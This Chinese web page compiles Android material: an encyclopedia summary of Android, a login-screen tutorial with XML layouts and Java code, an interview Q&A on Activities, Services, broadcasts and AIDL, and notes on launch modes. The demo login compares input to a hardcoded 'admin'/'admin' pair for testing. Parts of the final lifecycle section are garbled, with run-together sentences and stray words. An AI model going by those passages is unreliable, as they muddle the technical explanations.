安卓 订阅
安卓是一种基于Linux内核(不包含GNU组件)的自由及开放源代码的操作系统。主要使用于移动设备,如智能手机和平板电脑,由美国Google公司和开放手机联盟领导及开发。Android操作系统最初由Andy Rubin开发,主要支持手机。2005年8月由Google收购注资。2007年11月,Google与84家硬件制造商、软件开发商及电信营运商组建开放手机联盟共同研发改良Android系统。随后Google以Apache开源许可证的授权方式,发布了Android的源代码。第一部Android智能手机发布于2008年10月。Android逐渐扩展到平板电脑及其他领域上,如电视、数码相机、游戏机、智能手表等。2011年第一季度,Android在全球的市场份额首次超过塞班系统,跃居全球第一。 2013年的第四季度,Android平台手机的全球市场份额已经达到78.1%。2013年09月24日谷歌开发的操作系统Android在迎来了5岁生日,全世界采用这款系统的设备数量已经达到10亿台。2014第一季度Android平台已占所有移动广告流量来源的42.8%,首度超越iOS。但运营收入不及iOS。 [1] 展开全文
安卓是一种基于Linux内核(不包含GNU组件)的自由及开放源代码的操作系统。主要使用于移动设备,如智能手机和平板电脑,由美国Google公司和开放手机联盟领导及开发。Android操作系统最初由Andy Rubin开发,主要支持手机。2005年8月由Google收购注资。2007年11月,Google与84家硬件制造商、软件开发商及电信营运商组建开放手机联盟共同研发改良Android系统。随后Google以Apache开源许可证的授权方式,发布了Android的源代码。第一部Android智能手机发布于2008年10月。Android逐渐扩展到平板电脑及其他领域上,如电视、数码相机、游戏机、智能手表等。2011年第一季度,Android在全球的市场份额首次超过塞班系统,跃居全球第一。 2013年的第四季度,Android平台手机的全球市场份额已经达到78.1%。2013年09月24日谷歌开发的操作系统Android在迎来了5岁生日,全世界采用这款系统的设备数量已经达到10亿台。2014第一季度Android平台已占所有移动广告流量来源的42.8%,首度超越iOS。但运营收入不及iOS。 [1]
信息
更新时间
2019年9月4日 [2]
源码模式
自由及开放源代码软件
发行日期
2008年9月23日
软件许可
Apache License、 GPL等
创始人
安迪·鲁宾(Andy Rubin)
软件语言
C/C++(底层) Java,Kotlin等(应用层)
开发商
Google、开放手持设备联盟
发行商
Google - 谷歌(美国)
软件版本
Android 10(正式版) [2]
软件平台
Google
内核类型
宏内核(Linux内核)
测试版本
Android 11 Developer Preview 3(开发者预览版)
系统家族
类Unix,Linux
软件名称
Android(安卓)
Android系统简介
Android一词的本义指“机器人”,同时也是Google于2007年11月5日 Android logo相关图片(33张) 宣布的基于Linux平台的开源手机操作系统的名称,该平台由操作系统、中间件、用户界面和应用软件组成。Android一词最早出现于法国作家利尔亚当(Auguste Villiers de l'Isle-Adam)在1886年发表的科幻小说《未来夏娃》(L'ève future)中。他将外表像人的机器起名为Android。Android的Logo是由Ascender公司设计的,诞生于2010年,其设计灵感源于男女厕所门上的图形符号,于是布洛克绘制了一个简单的机器人,它的躯干就像锡罐的形状,头上还有两根天线,Android小机器人便诞生了。其中的文字使用了Ascender公司专门制作的称之为“Droid ” 的字体。Android是一个全身绿色的机器人,绿色也是Android的标志。颜色采用了PMS 376C和RGB中十六进制的#A4C639来绘制,这是Android操作系统的品牌象徵。有时候,它们还会使用纯文字的Logo。2012年7月美国科技博客网站BusinessInsider评选出二十一世纪十款最重要电子产品,Android操作系统和iPhone等榜上有名。(Android logo 相关图片相册图片来源:)
收起全文
精华内容
参与话题
问答
  • Android开发精典案例60个【源码】

    千次下载 热门讨论 2013-01-12 15:57:06
    60个Android开发精典案例,好东西 - 给大家分享60个Android开发的精典案例,包含任务监听、设备适配,游戏框架搭建,特效实现,多点触控,网络协议,游戏关卡设置等内容。特别是做游戏开发的朋友值得研究。喜欢就拿...
  • 安卓开发——登录界面

    万次阅读 多人点赞 2018-09-12 09:26:53
    安卓系统体系架构思维导图

    项目功能需求:
    1> 点击登录按钮,登录成功与否必须有对应的响应事件。
    2> 点击取消按钮,可以退出程序。
    3> 用户名文本框和密码框可以接收由键盘输入的数据,且分别有提示信息。(密码框显示输入的内容不显示)
    4> 要有背景图片

    效果图

    在这里插入图片描述
    一、安卓结构布局分析,外层布局一共有四层为垂直布局,第二三四层内嵌布局为水平布局。
    二、线性布局概述
    线性布局(LinearLayout)是一种比较常用且简单的布局方式。在这种布局中,所有的子元素都是按照垂直或水平的顺序排列在界面上。如果是垂直排列,每个子元素占一行,如果是水平排列,则每个子元素占一列。线性布局可以支持布局样式嵌套实现复杂的布局样式。

    layout文件夹下面的activity_main.xml为布局文件
    LinearLayout标签的常用属性有:
    (1)layout_width:布局宽度(match_parent(适应屏幕宽度)、wrap_content(包裹宽度))
    (2)layout_height:布局高度(match_parent(适应屏幕高度)、wrap_content(包裹高度))
    (3)orietation:方向(vertical(垂直),horizontal(水平))
    (4)gravity:对齐方式(left, right, center……)
    (5)background:背景(颜色、图片)
    三、导入背景图片

    TextView为文本标签,其常用属性有:
    (1)text(文本)【建议文本内容在values下的string.xml中自行定义,例:android:text="@string/login" ;其中login是string.xml文件中的name属性】

    (2)textSize(字体大小)【字体大小单位一般用sp,例:android:textSize=“25sp”】
    (3)textColor(字体颜色)【例:android:textColor="#ff00ff"】
    EditText为可编辑文本框,其常用属性有:
    (1)hint(提示信息)【例:android:hint="@string/et_username"】
    (2)singleLine(单行显示)【属性:(true、false)例:android:singleLine=“true”】
    (3)inputType(输入类型)【属性:(textPassword、datetime、text)例:android:inputType=“textPassword”】
    Button为按钮标签
    提示:为了方便添加事件,每个标签可以增加 ID 属性,格式为:android:id="@+id/bt_log"
    三、按照布局分析将各个标签进行排版布局

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:app="http://schemas.android.com/apk/res-auto"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="@mipmap/b2"
        android:gravity="center"
        android:orientation="vertical"
        tools:context="com.example.admin.register.MainActivity">
    
        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="@string/login"
            android:textSize="25sp"
            android:textColor="#ff00ff"
             />
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:gravity="center_horizontal">
    
            <TextView
                android:id="@+id/tv_username"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:text="@string/tv_username"
                android:textSize="20sp"
                android:textColor="#000000"/>
    
            <EditText
                android:id="@+id/et_username"
                android:layout_width="160dp"
                android:layout_height="wrap_content"
                android:hint="@string/et_username"
                android:singleLine="true"
                />
    
        </LinearLayout>
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:gravity="center_horizontal">
    
            <TextView
                android:id="@+id/tv_password"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:text="@string/tv_password"
                android:textSize="20sp"
                android:textColor="#000000"/>
    
            <EditText
                android:id="@+id/et_password"
                android:layout_width="160dp"
                android:layout_height="wrap_content"
                android:hint="@string/et_password"
                android:inputType="textPassword"
                />
        </LinearLayout>
    
        <LinearLayout
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:orientation="horizontal"
            android:gravity="center_horizontal">
    
            <Button
                android:id="@+id/bt_log"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:text="@string/bt_log"/>
    
            <Button
                android:id="@+id/bt_bos"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:text="@string/bt_bos"/>
    
        </LinearLayout>
    
    </LinearLayout>
    
    

    四、打开values文件下面的string.xml文件,在文件中定义layout文件夹下面的activity_main.xml中所需文本。

    <resources>
        <string name="app_name">Register</string>
        <string name="login">用户登录</string>
        <string name="tv_username">用户:</string>
        <string name="tv_password">密码:</string>
        <string name="bt_log">登录</string>
        <string name="bt_bos">取消</string>
        <string name="et_username">输入用户名</string>
        <string name="et_password">输入密码</string>
    </resources>
    
    

    五、打开JAVA文件夹下MainActivity文件添加事件响应。

    为用户名文本框、密码框、登录按钮、取消按钮定义变量。

    通过资源标识获得控件实例,因为类型不同所以要进行强制转换。

    给登录按钮注册监听器,实现监听器接口,编写事件(注:使用匿名内部类)

    Toast是Android系统提供的一种提醒方式,不会占用任何的屏幕空间,所以可以将一些简短的信息通过toast的方式通知给用户,这些信息过一段时间会自动消失
    第一个参数:MainActivity.this,当前的上下文环境
    第二个参数:要显示的字符串,就是你想在屏幕上显示的内容
    第三个参数:显示的时间长短,就是这个字符串在屏幕上显示的时长。Toast默认的有两个LENGTH_LONG(长)和LENGTH_SHORT(短)。
    show(); 显示

    给取消按钮注册监听器,实现监听器接口,编写事件

    finish(); 终止

    package com.example.admin.register;
    
    import android.app.Activity;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    
    public class MainActivity extends Activity {
        private EditText et_username;
        private EditText et_password;
        private Button bt_log;
        private Button bt_bos;
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            //利用布局资源文件设置用户界面
            setContentView(R.layout.activity_main);
    
            //通过资源标识获得控件实例
            et_username = (EditText) findViewById(R.id.et_username);
            et_password = (EditText) findViewById(R.id.et_password);
            bt_log = (Button) findViewById(R.id.bt_log);
            bt_bos = (Button) findViewById(R.id.bt_bos);
    
            //给登录按钮注册监听器,实现监听器接口,编写事件
            bt_log.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    //获取用户输入的数据
                    String strUsername = et_username.getText().toString();
                    String strPassword = et_password.getText().toString();
    
                    //判断用户名和密码是否正确(为可以进行测试,将用户名和密码都定义为admin)
                    if(strUsername.equals("admin") && strPassword.equals("admin")){
                        Toast.makeText(MainActivity.this,"用户名和密码正确!",Toast.LENGTH_SHORT).show();
                    }else {
                        Toast.makeText(MainActivity.this,"用户名或密码错误!",Toast.LENGTH_SHORT).show();
                    }
    
                }
            });
            //给取消按钮注册监听器,实现监听器接口,编写事件
            bt_bos.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    finish();
                }
            });
        }
    }
    
    

    以上就是安卓开发登录界面的的过程

    展开全文
  • Android开发教程笔记完全版 pdf

    千次下载 热门讨论 2011-11-01 16:02:32
    Android开发教程笔记完全版 pdf.我看了一下,自己感觉可以.
  • 安卓面试基础(如会必过)

    千次阅读 多人点赞 2019-01-09 09:42:57
    Activity 1、 什么是Activity? Activity是四大组件之一,他给用户的感受就是一个用户交互界面。一个Activity就是一个可见的界面。 他的特点是:1、可见 2、可交互 他之所以可交互,是因为他同时实现了Window....

    Activity
    1、 什么是Activity?
    Activity是四大组件之一,他给用户的感受就是一个用户交互界面。一个Activity就是一个可见的界面。
    他的特点是:1、可见 2、可交互
    他之所以可交互,是因为他同时实现了Window.Callback和KeyEvent.Callback, 可以处理与窗体用户交互的事件和按键事件.这两个特点,是他和service最大的区别。
    一个Activity在创建于销毁的过程中,会经历一些生命周期。
    如果界面有共同的特点或者功能的时候,还会自己定义一个BaseActivity.
    在这里插入图片描述
    2、Activity的生命周期

    a、简述一下生命周期
    生命周期描述的是一个类 从创建(new出来)到死亡(垃圾回收)的过程中会执行的方法…
    在这个过程中 会针对不同的生命阶段会调用不同的方法

    Activity从创建到销毁有多种状态,从一种状态到另一种状态时会激发相应的回调方法,这些回调方法包括:onCreate onDestroy onStop onStart onResume onPause onRestart
    当从A界面跳转到B界面的时候,A界面会调用onPause onStop B界面会调用onCreate、onStart、onResume等。在回到A界面的时候,A界面会调用onReStart、onStart、onResume
    如果B界面是透明的activity,那么进行跳转的时候,A界面是不会调用onStop的,只会调用onPause 再回到A界面的时候,A界面会调用onResume
    b、A界面跳转到B界面的时候,再回到A界面,A界面必然会执行的是哪几个方法。
    两个Activity之间的跳转必然会执行的是onResume方法,这个具体的应用场景是每次回到该界面的时候,如果界面需要展示最新的数据,那么可以在该方法中实现。
    多媒体播放视频的时候, 来了一个电话. onStop() 视频, 视频声音设置为0 , 记录视频播放的位置 mediaplayer.pause();
    onResume() 根据保存的状态恢复现场. mediaplayer.start();
    c、在屏幕旋转的时候,activity的生命周期是怎样的?
    横竖屏进行切换的时候,默认的情况下,Activity会重新的调用onCreate方法。因为竖屏的activity销毁了,再生成一个横屏的activity 。
    在AndroidManifest.xml可以进行配置,我们可以通过android:configChanges进行配置。android:configChanges=“orientation|keyboardHidden|screenSize” 配置了之后,横竖屏切换的时候,就不会调用onCreate了,而是调用onConfigurationChanged的方法。
    在一些特殊应用中,屏幕的方向是写死的,比如游戏。在AndroidManifest中配置android:screenOrientation=“landscape"就可以了。
    d、讲一讲你对activity的理解
    e、设置activity的样式为窗口的样式,对生命周期有什么影响?
    设置窗口样式,需要在配置文件中增加theme的属性
    android:theme=”@android:style/Theme.Dialog"
    activity设置为窗口样式的时候,当启动这个activity的时候,之前那个activity是不会走onStop方法的,而是只走到了onPause方法。

    3、你后台的Activity被系统 回收如何在被系统回收之前保存当前状态?
    在这里插入图片描述
    除了在栈顶的activity,其他的activity在系统资源匮乏的时候,都有可能会被系统回收。这时候系统会调用onSaveInstanceState方法,我们可以往bundle里面存放数据。在activity onCreate里面我们先判断一下bundle是不是为空,如果不为空,就代表这个activity之前被系统回收掉,应该恢复一下现场。我们就可以从bundle里面取值。

    4、对android主线程的运用和理解
    a、主线程也就是UI线程,四大组件都是运行在主线程中的。
    b、主线程中有一个消息队列,主要处理窗口绘制、按钮响应等消息。
    c、如果在主线程里面做耗时的操作,会导致窗口绘制等消息得不到及时的处理,从而有可能会报出anr的错误。

    在这里插入图片描述

    5、如何避免anr?如何解决anr?
    anr是android not response 安卓无响应,这里指的是主线程无响应。将耗时的操作放在子线程中进行可以有效的避免anr。如果出现了anr,我们可以通过log信息以及traces.txt文件进行分析。
    traces.txt里面记录的是stack信息。

    6、Activity的数据传递
    a、基础的数据类型通过Bundle进行传递
    b、传递对象的话,需要该对象实现Serializable或者Parcelable接口,放到bundle进行传递。
    c、在Application中进行存储。其他界面要用的话,就直接来application取就可以了。一个应用程序application的实例只有一个。
    d、大对象,比如bitmap,我们一般都不传递这个对象,我们传递的一般都是路径就可以了。然后通过URI.fromFile()来传递URI

    1. 如何退出Activity?
      退出activity我们只需要调用finish就可以了。退出activity 会执行 onDestroy()方法。
      如何一次性的退出多个Activity?
      a、抛异常强制退出:
      该方法通过抛异常,使程序Force Close。
      验证可以,但是,需要解决的问题是,如何使程序结束掉,而不弹出Force Close的窗口。
      b、记录打开的Activity:
      每打开一个Activity,就记录下来。放到application里面去存起来。在需要退出时,关闭每一个Activity即可。
      8、Activity的启动模式
      首先我们来看下Task的定义,Google是这样定义Task的:a task is what the user experiences as an “application.” It’s a group of related activities, arranged in a stack. A task is a stack of activities, not a class or an element in the manifest file. 这意思就是说Task实际上是一个Activity栈,通常用户感受的一个Application就是一个Task。从这个定义来看,Task跟Service或者其他Components是没有任何联系的,它只是针对Activity而言的。
      Activity有不同的启动模式, 可以影响到task的分配
      Task,简单的说,就是一组以栈的模式聚集在一起的Activity组件集合。它们有潜在的前后驱关联,新加入的Activity组件,位于栈顶,并仅有在栈顶的Activity,才会有机会与用户进行交互。而当栈顶的Activity完成使命退出的时候,Task会将其退栈,并让下一个将跑到栈顶的Activity来于用户面对面,直至栈中再无更多Activity,Task结束。

    standard", “singleTop”, “singleTask”, “singleInstance”。

    standard模式, 是默认的也是标准的Task模式,在没有其他因素的影响下,使用此模式的Activity,会构造一个Activity的实例,加入到调用者的Task栈中去,对于使用频度一般开销一般什么都一般的Activity而言,standard模式无疑是最合适的,因为它逻辑简单条理清晰,所以是默认的选择。

    而singleTop模式,基本上于standard一致,仅在请求的Activity正好位于栈顶时,有所区别。此时,配置成singleTop的Activity,不再会构造新的实例加入到Task栈中,而是将新来的Intent发送到栈顶Activity中,栈顶的Activity可以通过重载onNewIntent来处理新的Intent(当然,也可以无视…)。这个模式,降低了位于栈顶时的一些重复开销

    singleTask,和singleInstance,则都采取的另辟Task的蹊径。
    标志为singleTask的Activity,最多仅有一个实例存在,并且,位于以它为根的Task中。所有对该Activity的请求,都会跳到该Activity的Task中展开进行。singleTask,很象概念中的单件模式,所有的修改都是基于一个实例,这通常用在构造成本很大,但切换成本较小的Activity中。最典型的例子,还是浏览器应用的主Activity(名为Browser…),它是展示当前tab,当前页面内容的窗口。它的构造成本大,但页面的切换还是较快的,于singleTask相配,还是挺天作之合的。

    singleInstance显得更为极端一些。在大部分时候singleInstance与singleTask完全一致,唯一的不同在于,singleInstance的Activity,是它所在栈中仅有的一个Activity, 这个栈,只有一个activity

    activity是运行在任务栈中的,一个activity启动另外一个activity,默认的情况下,新的activity也是运行在同一个任务栈里的。service和广播接收者也是没有任务栈的,所以,他们启动activity的时候,给intent设置flag, Intent的flag添加FLAG_ACTIVITY_NEW_TASK

    Service
    9、什么是Service以及描述下它的生命周期?
    service是一个服务,它是不可见的,同样也是运行在主线程中。它的生命周期的方法有onCreate、onStart、onDestory,它还有一些activity的没有的生命周期方法,onBind和onUnbind
    不同的启动方式,生命周期调用的也不同。
    启动Service的方式有两种,一种是startService和bindService
    a、通过startService
    Service会经历 onCreate 到onStart,然后处于运行状态,stopService的时候调用onDestroy方法。
    这种方式,activity和service是相互独立的。如果是调用者自己直接退出而没有调用stopService的话,Service会一直在后台运行
    b、通过bindService
    Service会运行onCreate,然后是调用onBind, 这个时候调用者和Service绑定在一起。调用者退出了,Service就会调用onUnbind->onDestroyed方法。
    这种方式,activity就和service相互捆绑在一起了。所谓绑定在一起就共存亡了。调用者也可以通过调用unbindService方法来停止服务,这时候Service就会调用onUnbind->onDestroyed方法。

    Activity为什么要绑定Service?是因为有些情况下,我们需要调用service里面的方法。startService的方式我们是调用不到Service里面的方法的。

    如何让服务长期在后台运行,而activity又可以调用到服务里面的方法?
    先startService 然后bindService进行绑定,这个时候就可以调用服务里面的方法了。调用完了之后,你就unBindService,这时候退出界面的时候,服务是一直在后台跑的。

    默认情况下,服务是运行在主线程中的,在特殊的情况下,我们可以通过AndroidManifest文件中进行配置android:process="" 这种情况下,服务就在另外一个进程的主线程中。
    10. 什么是IntentService?有何优点?
    普通的service ,默认运行在ui main 主线程(ID默认是1)
    Sdk给我们提供的方便的,带有异步处理的service类,
    OnHandleIntent() 处理耗时的操作
    11、什么时候需要使用到Service
    因为service是具有较高优先级。Android系统会尽量保持拥有service的进程运行,只要在该service已经被启动(start)或者客户端连接(bindService)到它。当内存不足时,需要保持,拥有service的进程具有较高的优先级。所以我们需要使用到服务Service
    在某些情况下,比如服务以及onStart了,那么此时服务的优先级会稍微的低一些,这时候还是有可能被系统回收,可以通过startForground提高服务的优先级,这个时候,系统就不会回收这个服务了。
    因为服务的优先级较高,所以在一些场景中比较适合使用服务,比如:
    a、拥有长连接QQ
    b、定时轮询、耗时操作
    c、服务里面注册广播接收者。有些广播接收者只能通过代码注册,比如屏幕锁屏、屏幕解锁

    广播接收者
    12、简单描述一下广播接收者
    广播接收者有两类,一种是系统本身就有的,一种是我们自己写的广播接收者。
    广播接收者注册的方式也有两种,一种是动态注册,一种是静态注册。
    只能用代码注册的广播,这种广播产生的频率是比较高的。比如电量变化的广播,屏幕解锁的广播。电量变化的广播。
    广播接收者在注册的时候可以指定优先级,用于提高接收到广播的顺序。
    广播一般是用于跨进程通讯的时候。
    13、如何发广播
    广播分为两种,一种是有序广播,一种是无序广播
    有序广播是按顺序被接收的,是可以被拦截和修改里面的数据的。而无序广播则没有接收顺序,也无法修改广播里面的数据。
    拦截广播可以使用abortBroadcast()将有序广播给abort掉
    数据存储
    14、ContentProvider的使用
    把自己的数据通过uri的形式共享出去,这个uri是事先约定好的。
    android 系统下 不同程序 数据默认是不能共享访问,通过ContentProvider可以将自己应用的数据提供给别的应用。
    我们在写内容提供者的时候,需要写一个类继承ContentProvider,然后实现里面的增删改查方法
    query(Uri, String[], String, String[], String)
    insert(Uri, ContentValues)
    update(Uri, ContentValues, String, String[])
    delete(Uri, String, String[])
    15、Android提供的数据存储方式有哪些(内存:效率快,文件中存储临时文件,开关等)
    a、SharedPreferences、sd卡的文件
    b、数据库sqlite(大量的数据存储)
    c、数据存储到服务器上(http协议访问后台接口传输上去)

    View
    16、View的绘制流程,自定义控件的使用
    View如何绘制到手机上,一般用onDraw(Canvas canvas)在画布上(不过在此之前要 onMeasure和onLayout)
    onMeasure->onLayout->onDraw
    onMeasure:计算宽和高,调用setMeasuredDimension
    onLayout: 计算位置
    onDraw: 画在画布上
    自定义控件需要在onMeasure、onLayout、onDraw中的某些方法进行修改,这样才能保证自定义的控件能够在正确的位置正确的大小被正确的画出来。
    自定义属性的使用?
    在values的目录下需要建立一个文件,叫做attrs.xml 这个文件是定义属性规则的。一个属性的名字、取值类型、取值范围
    在布局文件中需要加入命名空间,最后在自定义控件中获取这些值。
    17、View的事件传递
    事件分发dispatchTouchEvent
    事件拦截onInterceptTouchEvent{如在桌面中滑动时,返回true时父拦截事件,点击事件 时,点击时返回false时,不拦截事件传递给子控件就响应了点击事件}
    事件响应onTouchEvent
    事件传递的方向是由父类到子类,事件响应的方向是从子类到父类。

    18、ListView的优化
    listView是由item充填,每个item都是有getView返回的(如果有千百个item,就会有千百个inflate会很占内存的所以系统就给提供了convertView)
    重用了convertView,减少了inflate的次数
    使用ViewHolder,减少findViewById的次数,很大程度上的减少了内存的消耗。
    在这里插入图片描述
    19、布局的优化(就是提高UI的流程度)
    优化布局层次。不要不断的嵌套LinearLayout ,多使用RelativeLayout 尽可能的减少布局的层次。如:左边是图片,右边是文字的,可以就使用一个TextView来完成。drawableLeft。
    ViewStub(延时加载的view,当使用时才加载)、include(提取一个basePager.xml),listview子元素高度的计算

    其他
    20、线程间的通讯
    Handler是用来进行线程间的通信。
    Looper是用来管理所属线程的消息队列MessageQueue的
    每一个线程都需要有一个looper,每一个looper管理一个MessageQueue
    Handler.sendMessage的意思是将某一个message放到MessageQueue中去,looper是个死循环,不断的读MessageQueue中的新消息。
    要让looper的死循环运行起来,得调用Looper.loop()方法。
    我们通常都会在子线程中,发一个消息到主线程中的messagequeue中去。
    21、内存泄露的查找
    内存泄漏本身不会产生什么危害,真正有危害的是内存泄漏的堆积。Android应用内存泄漏的的原因有以下几个:
    0、register之后没有unregister
    1查询数据库后没有关闭游标cursor file没有close
    2 构造Adapter时,没有使用 convertView 重用
    3 Bitmap对象不在使用时调用recycle()释放内存
    4 对象被生命周期长的对象引用,如activity被静态集合引用导致activity不能释放
    内存泄漏如何解决:
    生成hprof文件可以通过adt的工具也可以通过代码生成。debug的dump方法
    22、如何处理大图片,图片缓存

    1. 有效加载大图片,合理设置BitmapFactory.Options的inSampleSize值,减少图片内存占用;
    2. 仅请求图片的大小,inJustDecodeBounds = true,仅请求图片大小,而不会加载图片到内存;
    3. 缓存图片,内存缓存LruCache
      23、描述一下AIDL的原理
      AIDL的全称是android interface definition language 接口定义语言。它所做的事情就是跨进程范围另外一个服务里面的方法的。跨进程范围另外一个服务里面的方法。
      在手机卫士中挂断电话用到过AIDL。我们要获取手机系统的电话服务,用到了aidl 它其实工作的原理就是绑定到一个远程的服务上。然后这个远程服务会返回回来一个代理对象。
      这个代理对象里面的方法,就是我们定义的aidl
      aidl的写法也非常简单,主要分两种。调用系统服务的话,直接找到那个服务的aidl拷贝到我们的项目中就可以了。另外一种是我们自己写aidl,主要注意的一点是aidl是没有访问修饰符的。因为aidl本身就是公开的,就是为了给别人调用的,不需要私有的private方法。
      其实呢,在实际的开发过程中,比较少会写这个aidl,特别是写app,几乎用不到 做rom的时候,倒会遇到。那也比较少。但是你得懂它相关的知识是吧。
      在面试的时候,这个也是经常被用的。所以大家要熟悉这个问题的回答方法。
      我以前在中兴面试别人的时候,只要他能回答上几个关键点,我就会让他过我这关噢。
      1、跨进程 2、aidl在服务端和客户端都需要有一份 3、通过绑定的方式获取远程服务对象的代理IBinder,就可以调用相关的方法。
      跨进程:可用Aidl,广播,隐式意图,或者自己写一个跨进程的一个进程将数据定时存入sd 卡中,然后另一个进程定时从sd卡里面取出数据。
    展开全文
  • 安卓 四大组件

    万次阅读 2018-06-29 11:16:46
    Android开发的四大组件 Android四大组件分别为activity、service、content provider、broadcast receive 一、Activity Activity生命周期的方法是成对出现的 onCreate() &amp; onDestory() onStart() ...

    Android开发的四大组件
    Android四大组件分别为activity、service、content provider、broadcast receive
    一、Activity
    这里写图片描述
    Activity生命周期的方法是成对出现的

    onCreate() & onDestory()
    onStart() & onStop()
    onResume() & onPause()

    每一个活动( Activity)都处于某一个状态,对于开发者来说,是无法控制其应用程序处于某一个状态的,这些均由系统来完成。 但是当一个活动的状态发生改变的时候,开发者可以通过调用onXX() 的方法获取到相关的通知信息。 在实现 Activity 类的时候,通过覆盖( override )这些方法即可在你需要处理的时候来调用。
    一,onCreate:当活动第一次启动的时候,触发该方法,可以在此时完成活动的初始化工作。onCreate方法有一个参数,该参数可以为空(null),也可以是之前调用onSaveInstanceState方法保存的状态信息。 二,在onStart:方法该触发的所属表示将活动被展现给用户四,在onPause:当一个正在前台运行的活动因为其他的活动需要前台运行而转入后台运行的时候,触发该方法。这时候需要将活动的状态持久化,比如正在编辑的数据库记录等。 五,onStop:当一个活动不再需要展示给用户的时候,触发该方法。如果内存紧张,系统会直接结束这个活动,而不会触发onStop方法。所以保存状态信息是应该在onPause时做,而不是onStop时做。活动如果没有在前台运行,都将被停止或者Linux管理进程为了给新的活动预留足够的存储空间而随时结束这些活动。因此对于开 者来说,在设计应用程序的时候,必须时刻牢记这一原则。在一些情况下,在onPause方法或许是活动触发的最后的方法,因此开发者需要在这个时候保存需要保存的信息。六,onRestart :当处于停止状态的活动需要再次展现给用户的时候,触发该方法。七,onDestroy:当活动销毁的时候,触发该方法。和onStop方法一样,如果内存紧张,系统会直接结束这个活动而不会触发该方法·。 的onSaveInstanceState:系统调用该方法,允许活动保存之前的状态,比如说在一串字符串中的光标所处的位置等活动栈

    每个Activity的状态是由它在Activity栈(是一个后进先出LIFO,包含所有正在运行Activity的队列)中的位置决定的。
    当一个新的Activity启动时,当前的活动的Activity将会移到Activity栈的顶部。
    这里写图片描述
    一个应用程序的优先级是受最高优先级的Activity影响的。当决定某个应用程序是否要终结去释放资源,Android内存管理使用栈来决定基于Activity的应用程序的优先级。
    Activity状态
    Activity有以下四种状态:
    活动的:当一个Activity在栈顶,它是可视的、有焦点、可接受用户输入的。Android试图尽最大可能保持它活动状态,杀死其它Activity来确保当前活动Activity有足够的资源可使用。当另外一个Activity被激活,这个将会被暂停。
    暂停:在很多情况下,你的Activity可视但是它没有焦点,换句话说它被暂停了。有可能原因是一个透明或者非全屏的Activity被激活。
    当被暂停,一个活动仍会当成活动状态,只不过是不可以接受用户输入。在极特殊的情况下,机器人将会杀死一个暂停的活动来为活动的活动提供充足的资源。当一个活动变为完全隐藏,它将会变成停止。停止:。当一个活动不是可视的,它“停止”了这个活动将仍然在内存中保存它所有的状态和会员信息尽管如此,当其它地方需要内存时,它将是最有可能被释放资源的。当一个活动停止后,一个很重要的步骤是要保存数据和当前UI状态。一旦一个活动退出或关闭了,它将变为待用状态。待用:。在一个活动被杀死后和被装在前,它是待用状态的待用胡亚蓉被移除活动栈,并且需要在显示和可用之前重新启动它的活性的四种加载模式在机器人的多活性开发中,活动之间的跳转可能需要有多种方式,有时是普通的生成一个新实例 有时希望跳转到原来某个活动实例,而不是生成大量的重复的活性。加载模式便是决定以哪种方式启动一个跳转到原来某个活动实例。在机器人里,有4种活性的启动模式,分别为:·standard:标准模式,一调用startActivity()方法就会产生一个新的实例。·singleTop:如果已经有一个实例位于Activity stack的顶部时,就不产生新的实例,而只是调用Activity中的newInstance()方法。如果不位于栈顶,会产生一个新的实例。·singleTask:会在一个新的任务中产生这个实例,以后每次调用都会使用这个,不会去产生新的实例了。

    ·singleInstance:这个跟singleTask基本上是一样,只有一个区别:在这个模式下的Activity实例所处的task中,只能有这个activity实例,不能有其他的实例。
    这些启动模式可以在功能清单文件AndroidManifest.xml中进行设置,中的launchMode属性。
    相关的代码中也有一些标志可以使用,比如我们想只启用一个实例,则可以使用Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
    标志,这个标志表示:如果这个activity已经启动了,就不产生新的activity,而只是把这个activity实例加到栈顶来就可以了。1、Intent intent = new Intent(ReorderFour.this, ReorderTwo.class);
    2、intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
    3、startActivity(intent);
    复制代码
    Activity的加载模式受启动Activity的Intent对象中设置的Flag和manifest文件中Activity的元素的特性值交互控制。

    FLAG_ACTIVITY_NEW_TASK
    FLAG_ACTIVITY_CLEAR_TOP
    FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
    FLAG_ACTIVITY_SINGLE_TOP

    核心的特性有:

    taskAffinity
    launchMode
    clearTaskOnLaunch
    alwaysRetainTaskState
    finishOnTaskLaunch

    四种加载模式的区别 所属task的区别
    一般情况下,“standard”和”singleTop”的activity的目标task,和收到的Intent的发送者在同一个task内,就相当于谁调用它,它就跟谁在同一个Task中。
    除非Intent包括参数FLAG_ACTIVITY_NEW_任务。如果提供了FLAG 活动新_ TASK参数,会启动到别的任务里。“singleTask”和” singleInstance”总是把要启动的活动作为一个任务的根元素,他们不会被启动到一个其他任务里。是否允许多个实例“standard”和“singleTop”可以被实例化多次,并且是可以存在于不同的任务中;这种实例化时一个任务可以包括一个activity的多个实例; “ singleTask“和”singleInstance“则限制只生成一个实例,并且是task的根元素。singleTop要求如果创建intent的时候栈顶已经有要创建的Activity的实例,则将intent发送给该实例,而不创建新的实例。是否允许其它活动存在于本任务内“singleInstance”独占一个任务,其它活动不能存在那个任务里; 如果它启动了一个新的活动,不管新的活动的启动模式如何,新的活动都将会到别的任务里运行(如同加了FLAG 活动 NEW_TASK参数)。而另 三种模式,则可以和其它活动共存。是否每次都生成新实例

    “standard”对于每一个启动Intent都会生成一个activity的新实例;
